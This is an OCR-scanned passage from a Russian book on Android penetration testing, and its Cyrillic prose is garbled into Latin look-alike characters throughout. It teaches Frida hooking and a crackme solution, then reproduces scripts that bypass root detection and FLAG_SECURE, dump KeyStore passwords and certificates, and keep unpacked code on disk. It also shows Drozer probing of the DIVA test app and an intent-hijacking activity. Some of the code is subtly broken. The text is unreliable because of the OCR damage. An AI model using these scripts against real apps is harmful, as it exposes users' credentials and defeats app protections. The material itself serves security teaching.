Bo3moxHocTH Frida ropasno wmupe, yeM nepexsat obpalieHHH K HATHBHBIM QYHKLIUAM H
CHCTEMHBIM BbI30BaM. Ec/IH MBI B3r/IsHEM Ha ynoMHuHaBlumiics paHee API Frida, To yBu-
IUM, 4TO B HeM ecTb 00bekT Java. C ero moMoLibio Mbl MOXEM NepexBaThiBaTh oOpallie-
HHUA K MoObIM Java-oObekTaM M MeToxaM, a 3HauyWT, W3MEHHTb MpPaKTHYECKH JTH000H
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acrekT MoBeAeHHus oboro npuioxeHus 119 Android (B TOM 4uclie HamMCaHHOrO Ha
Kotlin).

HauHeM c npocToro: nonpo0yeM y3HaTh 000 Bcex 3arpy>kK€HHbBIX B MPUIOKEHHE Kilaccax.
Co3paiiTe HOBBIH (aiin (MycTh OH HAa3bIBAETCS enumerate.js) H 100aBbTE B HETrO ClEMYIO-
LLHE CTPOKH:

JavaScript S

Java.perform(function() {
Java.enumerateLoadedClasses ( {
onMatch: function(className) {
console.log(className) ;

ba
onComplete: function() {}

i
%57

310 o4eHb npocTtoi koA. CHayana Mbl BbI3bIBAEM METOJ Java.perform(), O3HAYAIOLIMH,
4YTO MBI XOTHM MOAKIIOYHTHCS K BUPTYyasibHOM MainuHe Java (unu Dalvik/ART B ciyuae
Android). [lanee Mbl BbI3BIBAEM METOH Java.enumerateLoadedClasses() W NEpeNaeM emy
JBa KOJIO3Ka: onMatch() OyAeT BBIMOMHEH NPU «OOHapYyXEeHHUH» Kjacca, onComplete () —
B CaMOM KOHLIE (HaM 3TOT KOJUIO3K HE HY>KEH, U Mbl OCTABJIIEM €TO MYCThIM).

3anyckaem:

$ frida -U -1 enumerate.js -N org.telegram.messenger

Y BUIMM Ha dKpaHe JTMHHBINA, KaXyIIHicsS GeCKOHEUHbIM CIHCOK KITACCOB, 4acTh KOTO-
PBIX SBJISIOTCS KOMITIOHEHTAMH CaMOTO MPUJIOXKEHHs!, HO MoJaBstoLlee 00bIUHHCTBO —
3TO cTaHmapTHele kiacchl ¢periMmBopka Android (Android 3arpyxaer Bech (peiiMBOpK
B Ka)XXIIbIi MpoLiecc B peXXKUMe Copy-on-write).

Ha camom nene HaM 3TOT CIHMCOK He 0c000 HHTEPECCH. HaMHoro HHTEPECHEE , TO, YTO
B JIIOOO#M M3 3THX KJIACCOB MOXHO BHEAPHUTDH CBOH KO, a €CJIK OBbITh TOYHBIM — nepenu-
caTb TeJIo JH00ro MetToaa Jo00ro U3 3THX KJ1acCoB. I[J]ﬂ NnpuMepa BO3bMEM Takoil KoJ:

(ST T St

Java.perform(function () {
var Activity = Java.use("android.app.Activity");
Activity.onResume.implementation = function () {
console.log("onResume () got called!");
this.onResume () ;
}i
})i

CHayana Mbl HCMOJIB3yeM Java.use (), YTOOBI MOJYYHUTb OOBLEKT-00epTKYy A paboThI
C KJIACCOM android.app.Activity. 3aTe€M MbI MEPENUCHIBAEM €r0 METOM onResume (), BBI3bI-
Bas B KOHLIE OPUIHHAIBHBIA METOA (this.onResume).
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Te, kTO 3HaKOM ¢ pa3paboTkoi npuiokeHHid Ans Android, JOMKHBI 3HAaTh, YTO KJIAcc
Activity — 3TO OJHH H3 «3KPaHOB» NpHJIOKeHHA. OH HMeeT MHOXECTBO METOJIOB, OJHH
U3 KOTOPBIX Ha3bIBaeTcs onResume (). Ha caMoM aene 310 Koib3k, KOTOpBIH BhI3BIBaETCS
BO BpeMs CO3JaHHs 3KpaHa, a Takke MPH BO3BPATe Ha Hero.

Ecnu Mbl 3arpy3um nanHbi# ckpunt Bo Frida, 3anmyctum «Tenerpam», 3ateM BhlifieM H3
HEro, NMOTOM CHOBa OTKPOEM, TO MBI 3aMETHM, YTO NPH KaXKAOM Bo3Bpate B «Tenerpam»
B TepMHHaJIe OyIeT MOABIATHCA COOOLIEHHE onResume () got called!.

To4yHO TakuM ke 06p330M MbI MOXEM IEPEXBATBIBATh HAXKATHA Ha KHOIIKH:

Java.perform(function () {
MainActivity.onClick.implementation = function (v) {
consle.log('onClick');
this.onClick(v) 7

})i

A Bot npumep norupoBanus Bcex URL, k KOTOpbIM oOpaiiaeTcs npHiIoKeHHe:

Java.perform(function() {
var httpclient = Java.use("com.squareup.okhttp.v_1 5 1.0kHttpClient");
httpclient.open.overload("java.net.URL").implementation = function(url) {
console.log("request url:");
console.log(url.toString()) ;
return this.open(url);

}i

B manHOM ciy4ae Mbl BHeApseMcs B oy sapHyio oubnnoreky OkHttp u nepenucriBaem
€€ MEeTOoJ okHttpClient.open ().

JNlomaem CrackMe

A Tenepp naBaiiTe nmompoOyeM B3/oMaTh 4TO-TO peaibHoe. Ha mpoctopax HHrephera
MOXXHO HaHTH MHOXeECTBO pa3HbIX crackme. Bo3bMeMm nepBblii nonaBmuiics —
https://github.com/reoky/android-crackme-challenge. TouHee, nepBblit U3 naTH OMYO-
JIMKOBaHHBIX B JJaHHOM PENO3HTOPHH. Crackme-one 3alTHCBIBAET (aiil B CBOM NMPHUBATHbIH
KaTaJor, a Hallla 3aJja4ya — BBITALUTh COAEpPXKHUMOe 3Toro ¢aina. Cpasy ckaxy, 4To cy-
IIECTBYET Macca crocoboB caenaTh 310 3a 20 CeKyHA, HO B TO )K€ BPeMs 3TO XOPOLIHH
npuMep, 4ToObI MOHATH, kak paboratk ¢ Frida. Cceuiku Ha crackme yxke MepTBbIe, MO-
3TOMY €ro nmpHaercs cobpaTh W3 MCXOAHHKOB CAMOCTOATEIBHO HIIH HCIONB30BaTh JApY-
roit noxoxxuii crackme 11 3KCNEpHUMEHTOB.
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Hrak, 3anyckaeMm crackme. HaM npennaraior Haxath Ha KHOMKY [Uif 3anucH ¢aiina nu6o
BBECTH OTBET U1 NMPOBEPKH. O‘ICBHIIHO, yTOOBI B3JIOMaTh 3TOT crackme, Mbl JOJI2KHBI
NIEpEXBATHThb YNIpaBJieHHE B MOMEHT 3anucH ¢aiina. Ho kak 3to caenats? OueHb mpocTo.
BonbwnHcTBO npunokeHuii 1 Android MCNoONB3ylOT 1UiA 3aNKMCH AaHHBIX JIHGO Knacc
java.io.OutputStream, JJHOO java.io.OutputStreamWriter. Y KaKIOro M3 HHX €CTb METOI
write(), KOTOpLIﬁ H OTBEYACT 3a 3aITUChb cl)aifma. Ham HCOGXOJJHMO JIMIb MOAMEHHTB €ro
Ha CBOKO pPeaIM3aLIMIO M BBIBECTH Ha 3KPaH INepBbIi apryMeHT, KOTOPBIA COAEpXHT IH60
MaccuB 6aiiT, 6o cTpoky:

Java.perform(function () {
var os = Java.use("java.io.OutputStreamWriter");

os.write.overload('java.lang.String', 'int', 'int').implementation =
function (string, off, len) {

console.log(string)
this.write(string, off, len);

3anyckaeM:

$ frida -U -N com.reoky.crackme.challengeone -1 outputstream write.js

Byaml, Ha 3KpaHe NMoABJIAETCA CTPOKa:

poorly-protected-secret

fimport java.util.Arraylist;
public class LockerExterralProvider_DexProxyStub extends ContentProvider {

private ContentProvider mlspl;
private ProviderInfo sProviderinfo;

public void attachInfolContext context, ProviderInfo info] {
super.attachInfo(context, info);
this.aProviderInfo = info;

private synchronized void initProvider() {
if (this.efspl == asll) {

try {
ContentProvider providerImpl = (ContentProvider) Class.forfame(*com.asazon.sas.client. locker.LockerExrd
providerimpl.attachInfo(getContext(), this.mProviderinfo);
this.sProviderInfo = aull;
Log.1{*ProviderProxy®, *Created com,amazon.mas.cliert.locker.LockerExternalProvider®};
this.almpl = providerImpl;

} catch {Exception e) {
Log.e{"ProviderProxy®, "Failed to iait provider: com.asazos.smas.client.locker.lockerexternalProvider®,
throw new RuntiseException(e);

}

€ LockerExternalProvide

public boolean ontreate(] {
return true;

public void onCanfigurationChanged(Configuration newConfig) {
if (this.sImpl == null) {
1n1tProvider();

)

Puc. 10.2. U3eneub CTpoKy MOXHO GbiN0 ¥ C NOMOLLYbIO AEKOMMUNATOPA
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OrMeqy JBa MOMCHTA:

1. B 3TOT pa3 MBI HCMONB30BAIH METON overload (), T. K. KJIACC OutputStreamWriter peaH-
3yeT cpa3y TPH METOJa write () C pa3HBIM HAOOPOM apryMeHTOB.

2. Ha caMoM nene B3noMaTth 3TOT crackme MoxHO ObL10, MPOCTO Mepeiins B €ro npUBart-
HBIH KaTajor U npouuTtaB ¢aiin (3To BO3MOXHO, T. K. Y HaC pYTOBaHHBIH cMapTdoH)
6o MyTeM NEKOMMWIAUHH TPHIOKEHHS (TEKCT JIOKMT B OTKPHITOM BHIE —
puc. 10.2). 3nech, ogHako, ecTh HIOAHC: ecii Obl crackme XpaHWII CTPOKY B 3alinudpo-
BaHHOM BHMJ€E U paclIH(pOBBIBAJ €€ TOJBKO NEpel 3aMUChio, AEKOMITHIALMSA Oblna Obl
GecronesHa (Hy, Mo kpaiiHel Mepe, 10 TeX Mop, MOKa Bbl HE W3BJIEKIH Obl K04 K-
POBaHHs M HE HAMKCAIH CKPHIT PacLIH(POBKH).

TTepexsat HaTUBHLIX 6UbnUOTeEK

Frida ymeer pabotarts He ToNbKO ¢ 6aiiT-kO0AOM Java, HO M ¢ HATUBHBIM KOAOM Ui X86 H
ARM. bnaronaps 3ToMy MOXHO BKJIMHHBaThCS B paboTy MpPHIIOKEHHH, HCIIONB3YIOWHX
HaTHBHBIE OMONHOTeKH. [IpeanonoxuM, yro y Hac ectb ¢aiin APK c HatuBHO#H 6uGHO-
Texoi. Ecnu ero pa3sepHyTsb, kataior 1ib 6yaeT conep>xatb Habop HaTHBHBIX OHONMHOTEK
IU1S pa3NIMuHbIX apxuTekTyp. Haxoaum O6ubnuoTteky s apXMTEKTypbl CBoero cMapTdo-
Ha (0OBIYHO 3TO armé4-vBa WIIH armeabi-v7a) H AaHAJIIU3UPYEM €€ CONEPIKHMOE C MOMOLIBIO
YTHIMTHI nm (OHa AOCTYNHA B Linux 1 macOS):

$ nm --demangle --dynamic library.so
00002000 A _ bss_start

U _ cxa_atexit

U _ cxa finalize
00002000 A _edata
00002000 A _end
00000630 T Java_com example app MainActivity start
000005d0 T Start

U srand

U _ stack chk fail

U time

Kak BugHo, OuONMOTEKa cCOOEPXXUT B TOM uMcie (QYHKLHIO Java com example app
MainActivity start. Cyﬂﬂ Mo HME€HH, OHA O0JPKHa OBITh AOCTYITHA AJid BbI3OBA U3 Java (Ha
CTOpPOHE Java oHa 6yne1‘ HMEThb UMS com.example.app.MainActivty.start).

JlonycThM, Halla 3aaya — MepexBaTHTh BbI3OB (GYHKLHMH H BEPHYTh YA0OHOE HaM 3Ha-
yenue. Hanpumep, ecnu 6ol 310 ObTa QyHKUMS, NMpoBepsOLIas HaJIWYHE root, Mbl Obl
MOIJIH TIepeXBaTUTb ee U BepHyTh false, HEB3Upas Ha pealbHBbIN pe3yJbTaT MPOBEPKH.
EcTb nBa cnoco6a nepexBaTHTh 3Ty QyHKUHIO:

1. Ha ctopoHe Java, korma npHIOXEHHE TOJBKO IOMBITAETCA BHI3BIBATh HATHBHYIO
¢GyHKUHIO.

2. Ha cTropoHe HaTHBHOIO KOZia, KOra ynpasiieHHe yxe OyneT nepenaHo 6ubaroreke.
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Jlns peanuzauuu nepeoro crnoco6a UCMob3yeM TakoH KOA:

Java.perform(function () {
var Activity = Java.use('com.example.app.MainActivity')
Activity.Start.implementation = function () {

return false

H

3tot CKPHIIT NEPENHCBIBACT cbyHKumo Start KJlIacCa com.example.app.MainActivity Tak,
yToOEI OHa Bceraa BO3Bpallana 3Ha4€HHUE false. HepeXBaTHTL HaTHUBHYIO (byHKumO eme

npotuue:

Interceptor.attach (Module.getExportByName ('library.so',
'Java_com example app MainActivity start'), {

onEnter: function(args) {},
onLeave: function(retval) ({

retval.replace (false)

Opyrue npumeptr npumeHeHus Frida

V Frida ectb opHUHManbHBIA PENO3UTOPUA CKPUNTOB, B KOTOPOM MOXKHO HAaHWTH Takue
TNOJIE3HOCTH, Kak:

O Fridantiroot https://codeshare.frida.re/@dzonerzy/fridantiroot/ — koMmekcHsIi
CKPHNT, MO3BOJIAIOIIHI OTKIIOYHTH NMPOBEPKH Ha root;

O Universal Android SSL Pinning Bypass — https://codeshare.frida.re/@pcipolloni/
universal-android-ssl-pinning-bypass-with-frida/ — o6xon SSL Pinning;

O Dereflector https://codeshare.frida.re/@dzonerzy/dereflector/ — ckpunt ans ne-
pednexcuu Java-koaa (MpeBpalleHUs HEMPAMBIX BBI30BOB METOJOB B MPSIMBIE).

JIro6oit u3 3THX CKPHIITOB MO>KHO 3aIllyCTHTb 6e3 NpEABApHUTEIBHOIO0 CKa4YUBaHHUA C I10-
MOLIBIO TAKOH KOMaH/BI:

$ frida --codeshare dzonerzy/fridantiroot -U -N com.example.vulnapp

Cxpunthl Frida MoxkHO HalTH He TONBKO B O(HLMANIBHOM PENO3UTOpHH. MHOrHe pesep-
Cephl JeNATCA CBOMMH pelleHHAMH B Gorax. Mbl pacCMOTPHM HEKOTOpPHIE U3 HHX.
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O6xoa 3aWMTEL HQ CHATUE CKPUHLOTOB

O OpwurunHan: Android Frida hooking: disabling FLAG_SECURE
(https://www.securify.nl/nl/blog/SFY20191103/android-frida-hooking_-disabling-
flag_secure.html).

Android no3Bonser pa3paboTUHKy MPHIOKEHUS YCTAHOBUTb MPSMOM 3ampeT Ha CHATHE
CKPHHILIOTOB OMNpeaeseHHbIX aKTHBHOCTeH nmpunokeHus. s 3Toro HeoOX0AMMO ycTa-
HOBUTH ¢1ar FLAG SECURE JUTSl OKHa:

] java

public class FlagSecureTestActivity extends Activity {
@Override
public void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;

getWindow () .setFlags (WindowManager.LayoutParams.FLAG SECURE,
WindowManager.LayoutParams.FLAG_SECURE) ;

setContentView (R.layout.main);

O60iiTH 3Ty 3alIMTY MOXXHO HECKOIIBKMMH crocobaMu. MoxHO HCMOJIb30BaTh MOAYJIb
Xposed DisableFlagSecure (https://github.com/veeti/DisableFlagSecure), kotopblii
nepexBaThiBaeT QyHKLMIO setFlags W MPOCTO OTGHIBTPOBBIBAET (1ar FLAG SECURE. YacTb
€ro Kojia, OTBETCTBEHHas 3a CHATHe ¢uiara, BBIMJISNT TaK:

hava

@Override

public void handleLoadPackage (XC LoadPackage.LoadPackageParam loadPackageParam)
throws Throwable {

XposedHelpers. findAndHookMethod (Window.class, "setFlags", int.class, int.class,
mRemoveSecureFlagHook) ;

private final XC MethodHook mRemoveSecureFlagHook = new XC MethodHook() ({
@Override
protected void beforeHookedMethod (MethodHookParam param) throws Throwable {
Integer flags = (Integer) param.args(0];
flags &= ~WindowManager.LayoutParams.FLAG SECURE;
param.args[0] = flags;
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Tot ke kKo MOXHO NepenucaTh Tak, 4ToObl OH paboTtan noa ynpaenenueM Frida:

JavaScript

Java.perform(function () {
var FLAG SECURE = 0x2000;
var Window = Java.use ("android.view.Window");
var setFlags = Window.setFlags;

setFlags.implementation = function (flags, mask) {
console.log("Disabling FLAG SECURE...");
flags & ~FLAG SECURE;
setFlags.call (this, flags, mask);
}i
by

H ucnones3oBars Tak:

$ frida -U -1 naw ckpunr.js -N uMsA.nakeTa.npuIokeHns

HN3sneyeHue SSL-ceptugukata npunoxeHUs
u3 KeyStore

O Opwurunan: Extracting Android KeyStores from apps
( https://ceres-c.it/2018/12/16/frida-android-keystore/).

MHorue npunoXkeHus XpaHAT NpUBaTHbIE naHHble B KeyStore, cneuyanbHOM XpaHHIIH-
1€, MO3BOJIAIOLIEM 3alndpOBaTh U HA/IEXKHO 3ALLUTUTD JaHHBIE C MOMOLLBIO annapaTHoO-
ro TEE-monyns cmaptdoHa (ecu TakoBOH MPUCYTCTBYET).

Hanpsmyro u3Bneds 3TH JaHHbIE B OOJIBIIMHCTBE ciydaeB He ynactcs. Ho Bmecto u3-
BJIEUEHUS MX MOXXHO nepexBaTuTb. KeyStore umeer Metoabl load (KeyStore.
LoadStoreParameter param) M load(InputStream stream, char[] password) AJIsI U3BJICYEHUSA
JAHHBIX M3 XpaHWJIWIa. Mbl MOXeM Mepenucatb Kol 3THX GYHKUHE ¢ noMoipto Frida
Y COXpaHHUTb JaHHble Ha cBoer MawunHe. Koa ckpunra ans Frida BeirnsauT Tak:

JavaScript
setTimeout (function ()
Java.perform(function () {
keyStoreLoadStream =
Java.use ('java.security.KeyStore') ['load'].overload("'java.io.InputStream', '[C');

/* TepenuchiBaeM ¢yHkumio Keystore.load (InputStream stream, char[] password) */
keyStoreLoadStream.implementation = function(stream, charArray) {

/* Ecii nepBeit napameTp null - sanyckaeM OpUIMHANLHYKD GYHKLUMO */
if (stream == null) {
this.load(stream, charArray);
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return;
}
/ *OrnpaBnseM cooblieHye, UTO GyHKUMS HaileHa */
send({event: '+found'});
/ *UnraeM InputStream B Bydep */
var hexString = readStreamToHex (stream);
/ *Ornpaensem Tvn KeyStore */
send({event: '+type', certType: this.getType()});
/ *OrnpaenseM napojie */
send({event: '+pass', password: charArray});
/ *OrnpaBnsgeM cepTudMKaT B TEKCTOBOM Qopme */
send({event: '+write', cert: hexString});
/ *3anyckaeM OpPUTMHAJBHY0 QYHKLMO */
this.load(stream, charArray);
}
}) i
}IO);

/ *OyHkuMa IOns 4yreHus InputStream M ero koHBeprauym B ASCII */
function readStreamToHex (stream) {
var data = [];
var byteRead = stream.read();
while (byteRead != -1)
{
data.push( ('0' + (byteRead & OXxFF).toString(16)).slice(-2) );
1 *< binary to hex -----————————— > x/

byteRead = stream.read();
}
stream.close() ;
return data.join('');

KpoMe npHuBemeHHOro BbIlIE CKpUMNTa, Takke MoHanoburcs ckpunt https:/gist.
github.com/ceres-c/cb3b69e53713dSad9cf6aac9b8e895d2, paborarommii Ha [TK (uMeH-
HO eMy NMpHBEIEHHBIH BhILIE CLIEHAPHIi OTIPABIAET JaHHbIE C MOMOILBIO QYHKLHH send).

O6xon netexrta root

O Opurunan: Android Root Detection Bypass Using Objection and Frida Scripts
(https://medium.com/@GowthamR1/android-root-detection-bypass-using-
objection-and-frida-scripts-d681d30659a7).
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B penosuropun Frida yxe ecTb rOTOBBIH CKPHUNT U1 OTKJIIOYEHHS NMPOBEPKH Ha root
B INIPHJIO>KE€HHUH. OJIHaKO, €CJIH OH HC cpa60TaeT, INPpHACTCA IMHCATh CBOI COOCTBEHHBIH
CKpHIT. I[J'ISI 3TOro HCOGXOHHMO IICKOMHPIJ'!HpOBaTB/ﬂe3aCCGM6J'IHpOBaTL NOAOIIBITHOE
I[IPHJIO’KEHHE H HalTH B HEM (I)yHKI.IHlO, OTBETCTBEHHYIO 3a IIPOBEPKY HAJIH4HA IIpaB root
Ha yCTpOﬁCTBe. OOBIYHO OHA BBITJIAAAT NPUMEPHO Tak:

private static boolean detectmethods () {

String[] arrayOfString = new String[10];
arrayOfString[0] = "/system/app/Superuser.apk";

arrayOfString([1l] = "/sbin/su";
arrayOfString[2] = "/system/bin/su";
arrayOfString([3] = "/system/xbin/su";
arrayOfString[4] = "/data/local/xbin/su";
arrayOfString([5] = "/data/local/bin/su";
arrayOfString[6] = "/system/sd/xbin/su";
arrayOfString[7] = "/system/bin/failsafe/su";
arrayOfString[8] = "/data/local/su";
arrayOfString[9] = "/su/bin/su";

int a = arrayOfString.length;

int b = 0;

while (a < b) {

if (new File(arrayOfStringl[a]).exists()) {
return true;

}
a+=1;

}

return false;

}

I[OIIyCTHM, OHa pacnojiara€Tcd BHYTPH KJjlacCa roottest, KOTOpBlﬁ HaXOOHUTCA B Java-
NaKEeTE com.test.test. BCC, YTO HaM HY>KHO ca€jiaTb, — IIOAMEHHTb 3Ty beHKI.IHlO Ha
3aryLIKy, KOTopas Bceraa Bo3Bpaiuaer false:
Java.perform(function () {
var MainActivity = Java.use('com.test.test.roottest');
MainActivity.root.implementation = function (detectmethods) {

console.log('Done: bypassed');
return false;

i
}
Ianee ckapmnuBaeM Haw ckpunt Frida u 3anmyckaeM noj ee ynpasieHHeM NPHIIOKEHHE:

$ frida -1 rootbypass.js -f wmMsa.nakeTa.npuiIoxeHns

O6xoa ynaxoswWUKOB

O Opwurunan: How-to Guide: Defeating an Android Packer with FRIDA
(https://www.fortinet.com/blog/threat-research/defeating-an-android-packer-
with-frida.html).
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JlonycTuM, y Hac ecTb BpeJOHOCHOE MPHIIOKEHHE C MONO3PUTENBHBIM (aiiioM BHYTPH
nakera ¥ HeGOJBIINM CHIBHO 00(QYCLUMPOBaHHBIM HCMoNHAeMbIM dex-daiinom. AHanu3
JIoroB 3amycka logcat nmokasbIBaeT, 4TO NMPHJIOXKEHHE B npouecce paboThl CO3AaeT U 3a-
rpyxaer ewe oauH dex-gaiin (3amakoBaHHBIA B jar), a 3TO 3HAYMT, YTO, CKOpPEE BCETrO,
nepBbiii HCNIONHAEMBIA (ain — 3TO BCero JIMLIb 3arpy34dKk (a TOYHeE, YNaKOBLIMK).
A HailineHHBIH paHee MOJO3pHUTENbHbIH (ain — 3alHdpOBaHHBIA KOA NPHIOKEHHS.
B xone 3arpy3kH NpuioxeHHs yNnakoBIUMK AewindpyeT ¢aiin u 3arpyxaer ero. Ho ects
oqHa npobneMa: cpa3y nocie 3arpy3kH JeluH$poBaHHbIA ¢aiin ynansercs, U ero HeBo3-
MO>KHO NPOaHaIH3HPOBATh.

K COXKAJICHHUIO, JEKOMITUIISALMSA M CTATHYECKHH aHAIU3 ynakoBUIMKA HHYEro HE JaKT —
OH CJIMIIKOM CHJIBHO othycuuposaH H ITOYTH HE MPHUIrOA€H IJIA YTCHHA. OnHako 3anyckK
NMPHIOKEHHA 1Mo yIpaBJIECHHEM Tpaccupoaquoﬁ YTHJIMTBI Strac€ NMOKa3bIBA€T, YTO Yaa-
JICHHE NMPOUCXOOHUT C MOMOILIBIO CHCTEMHOI'O BbI3OBA unlink.

KoHeuHas uaes cocTouT B TOM, 4TOOBI nepeornpenenuts ¢ noMoubio Frida kon ¢yHkumMu
unlink TaK, YTOObI OHa HUYEro He ynansia. B aTom ciydae Mbl CMOXeM NMPOCTO OCTATh
pacum¢poBaHHbiii dex-aiin U3 yctpoiictBa M npoaHanu3upoBath ero. Koa ¢yHkuuu
nepexsara Ans Frida BeirnsauT tak:

console.log (" [*] FRIDA started");
console.log (" [*] skip native unlink function");

var unlinkPtr = Module.findExportByName (null, 'unlink');

Interceptor.replace (unlinkPtr, new NativeCallback (function () {
console.log("{*] unlink() encountered, skipping it.");
b, tint', 1))

Bersoabr

Frida — o4yeHb MOIUHBIA HHCTPYMEHT, C MOMOLIBIO KOTOPOro MOXHO cleniaTh C Moj-
OMBITHBIM MPHJIOKEHHEM MPAKTHYECKH BCe 4TO yrogHo. Ho 3To HHCTpyMeHT He ans
BceX, OH TpebyeT 3HaHus JavaScript, NOHMMaHUs NMPUHUMNOB pabotel Android u mpuno-
sxenuii ans atoi OC.
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Drozer u apyrue UHCTpymMeHTHI

Drozer (https://github.com/mwrlabs/drozer) — ewe oauH must have HHCTpyMeHT
B apceHaJie MeHTecTepa. 3To apMeHCKHi LBEeHLIAPCKHH HOX U1 BBIMOJTHEHHS THITHYHBIX
3aJlay TECTHPOBaHHMA Ha NMPOHMKHOBEHHE. Drozer mo3BosseT Mony4uTb HHPOpMALMIO
O MPHJIOKEHHH, 3aMyCTUTh €ro akTHBHOCTH, noakitounTbes k ContentProvider'y, ornpa-
BUTb cO0OLIEHHs cepBUCY — B 00LLeM, caenaTh BCe, YTOObI BHITALUMTE U3 MPHIOKEHHS
MH(OpPMaLMIO HIIM 3aCTaBUTb €ro CAejaTh TO, YTO HaM HY>KHO uyepe3 craHaapTHbie API
M KaHaJibl KOMMYHHKaLHH.

Ceronns Drozer cuuraercs ycTapeBLIMM HHCTPYMEHTOM, HO OH [0 CHX MOpP OTJIMYHO
CripaBJsJIcS ¢ 3ajayei 6bICTPOro nojayyeHHs HHPOPMALIHKM O MPHIIOKEHHH U ero cnabbix
mecTax. PekomeHayeMslii criocob 3anycka Drozer — ucnons3ys docker:

$ sudo docker run -it kengannonmwr/drozer docker

Drozer pabotaer B cBsi3ke ¢ areHTOM, paboTalOLMM Ha YCTPOHCTBE WIIK 3MYJIATOpE, CKa-
yaTtb ero MoxxHo no ccouike https://github.com/mwrlabs/drozer/releases/download/
2.3.4/drozer-agent-2.3.4.apk. Ero cnenyer ycTaHOBUTbL Ha YCTPOHCTBO C HCMOJIb30BAHU-
€M criefyoLled KOMaHabl:

$ adb install drozer-agent-2.3.4.apk

Hanee 3anyckaeM areHT W HaxkumaeMm Ha kHonky Embedded Server BHu3y skpana. Ilo-
CJIe 3TOro K CepBepY MOXKHO MOAKIIOYHTBCS, nepeias B koHconb docker (puc. 11.1):

$ drozer console connect --server IP-ampec-Tejedona

B kauectBe momomeITHOro npuioxeHdus O6yaeMm ucnonw3oBate DIVA (Damn Insecure
and Vulnerable App, https:/github.com/tjunxiang92/Android-Vulnerabilities/raw/
master/diva-beta.apk). APK He uMeeT undpoBoi noanucH, No3TomMy nepen yCTaHOBKO#
ero HeoOXoaUMO MOJMHCaTh, HanpuMep, ¢ noMouibto uber-apk-signer (https://github.com/
patrickfav/uber-apk-signer).
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Puc. 11.1. Koicons Drozer

AKTUBHOCTU

Tunuunelii npouecc pabotsl ¢ Drozer Beirnaaut Tak. CHavana nony4yaem HHGOpMAaLHIO
00 yCTaHOBJIEHHBIX MPHJIOKEHUAX:

dz> run app.package.list

Haxoaum B criMcke noJomnbITHOE TNMPHIIOKEHHE H NOJTy4YaeM HHC]JOpMal.lHlO O HEM:

dz> run app.package.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva

Application Label: Diva

Process Name: jakhar.aseem.diva

Version: 1.0

Data Directory: /data/user/0/jakhar.aseem.diva

APK Path: /data/app/~~f-ZUZleCLc6Lvv3kYkaeww==/jakhar.aseem.diva-
GXTPCSZPceqRHtEWH73f1g==/base.apk

UID: 10423
GID: [3003]

Shared Libraries: [/system/framework/android.test.base.jar,
/system/framework/org.apache.http.legacy.jar]

Shared User ID: null

Uses Permissions:

- android.permission.WRITE_EXTERNAL_ STORAGE
- android.permission.READ EXTERNAL STORAGE
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- android.permission.INTERNET

- android.permission.ACCESS MEDIA LOCATION
Defines Permissions:

- None

3atem BBISACHAEM, KAKHE€ KOMIIOHEHTBI MOXXHO MOMBITATBCA HCIOJIB30BaTh WJId 3KCIUTya-
TalHH:

dz> run app.package.attacksurface jakhar.aseem.diva
Attack Surface:
3 activities exported
0 broadcast receivers exported
1 content providers exported
0 services exported
is debuggable

OOpaiaeM BHHMaHHE, YTO B NMPHJIOKEHHH BKIIOYeH duar otnagkd. Jlanee monydaem
CITHCOK aKTHBHOCTEH:

dz> run app.activity.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
jakhar.aseem.diva.MainActivity
Permission: null
jakhar.aseem.diva.APICredsActivity
Permission: null
jakhar.aseem.diva.APICreds2Activity
Permission: null

IMpo6yem ux 3amycTHTB:

dz> run app.activity.start --component jakhar.aseem.diva <umMs_akTMBHOCTH>

CMBICIT 3TOrO AEHCTBHA B TOM, YTOOBI MPOBEPHTH, HE TOPYAT JIH Hapy>Ky BHYTpPEHHHE
aKTHBHOCTH NMPHIOKEHHS, KOTOpblE€ HE AOJDKHBI OBITh JOCTYMHBI H3BHE. BO3MOXHO, 3TH
aKTHBHOCTH COZiepXaT KOHGHAEHUHaNbHYIO HHPopMauuto. [IpoBepsem:

dz> run app.activity.start --component jakhar.aseem.diva
jakhar.aseem.diva.APICredsActivity

JeicTBUTENBHO, aKTUBHOCTD APICredsActivity comepXKHT Hekui kmo4d API, uMs none3o-
BaTeNsA M MapoJib. AKTHUBHOCTh APICreds2Activity CONEPXHT OKHO C TMOJiEM Ui BBOJA
nuH-koAa. O6e 3TH aKTHBHOCTH JOJDKHBI HCIOJIb30BaThCA TOJIBKO BHYTPH NMPHIOKEHHA,
HO MO «HEBHHMATENbHOCTH» pa3paboTyvk 3abpu1 caenarh MX HEIKCNOPTHPYEMBIMH

(android:exported="false").

ECin AKTUBHOCTH HE 3ANYCKAIOTCA

HauuHas c Android 9, sanyck aktmBHocTeR B choHe 3anpewieH. [Moatomy, ytobel Drozer pa-
6oTan kKoppekTHO, cneguTe 3a Tem, YTobbl OH Bceraa 6bin Ha akpaHe, a 3KkpaH cmapTdoHa
Obin BKNOYEH.
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TTepexsat uHTeHTOB

Ewe Gonee uHTepecHas cUTyalds BO3HMKAET, KOra MPOrpaMMHUCT He TOJIBKO 3a0bIBaeT
cienatb BHYTPEHHIO AaKTHBHOCTh TNPHJIOXKEHHS HEIKCIIOPTHPYEMOH, HO M paboTaer
C HeH He HampAMYO, a UCTIOJNb3Ys LIMPOKOBELIATeIbHbIE HHTEHTHI. J[oMycTHM, B MPUJIO-
JKEHHM €eCTh TaKOH KOJ, KOTOpbIi HCMONb3yeT LIMPOKOBELUATENbHBI HHTEHT
com. example.ACTION, YTOOBI 3aIlyCTHUTh aKTUBHOCTD (MepenaB il Mpu 3TOM KOHGHIEHUH-
allbHbIe JaHHbIE):

java.

Intent intent = new Intent ("com.example.ACTION") ;
intent.putExtra("credit card number", num.getText().toString());
intent.putExtra("holder name", name.getText().toString());
startActivity(intent);

Hpo6neMa 3TOro Koaa B TOM, 4YTO Mo00#i KeNaloMHi MOXKET CO31aTh aKTUBHOCTb, p€a-
TAPYIOLIYIO Ha HHTEHT com.example.ACTION, H IEPEXBATUTH MEPEAAHHBIC el nanHele. Ha-
NPpHUMEP, MBI MOXXEM HAITUCATh MPHIIOKEHHE C TaKol aKTUBHOCTBIO B MaHHd)eCTEZ

<activity android:name=".EvilActivity">

<intent-filter android:priority="999">
<action android:name="com.example.ACTION" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

B konm 3TO# akTHBHOCTH I[OGaBHM JIOTHPOBAHHE TMEPEXBAYCHHBIX KOHq)PIIleHI[HaJ'ILHHX
JaHHBIX:

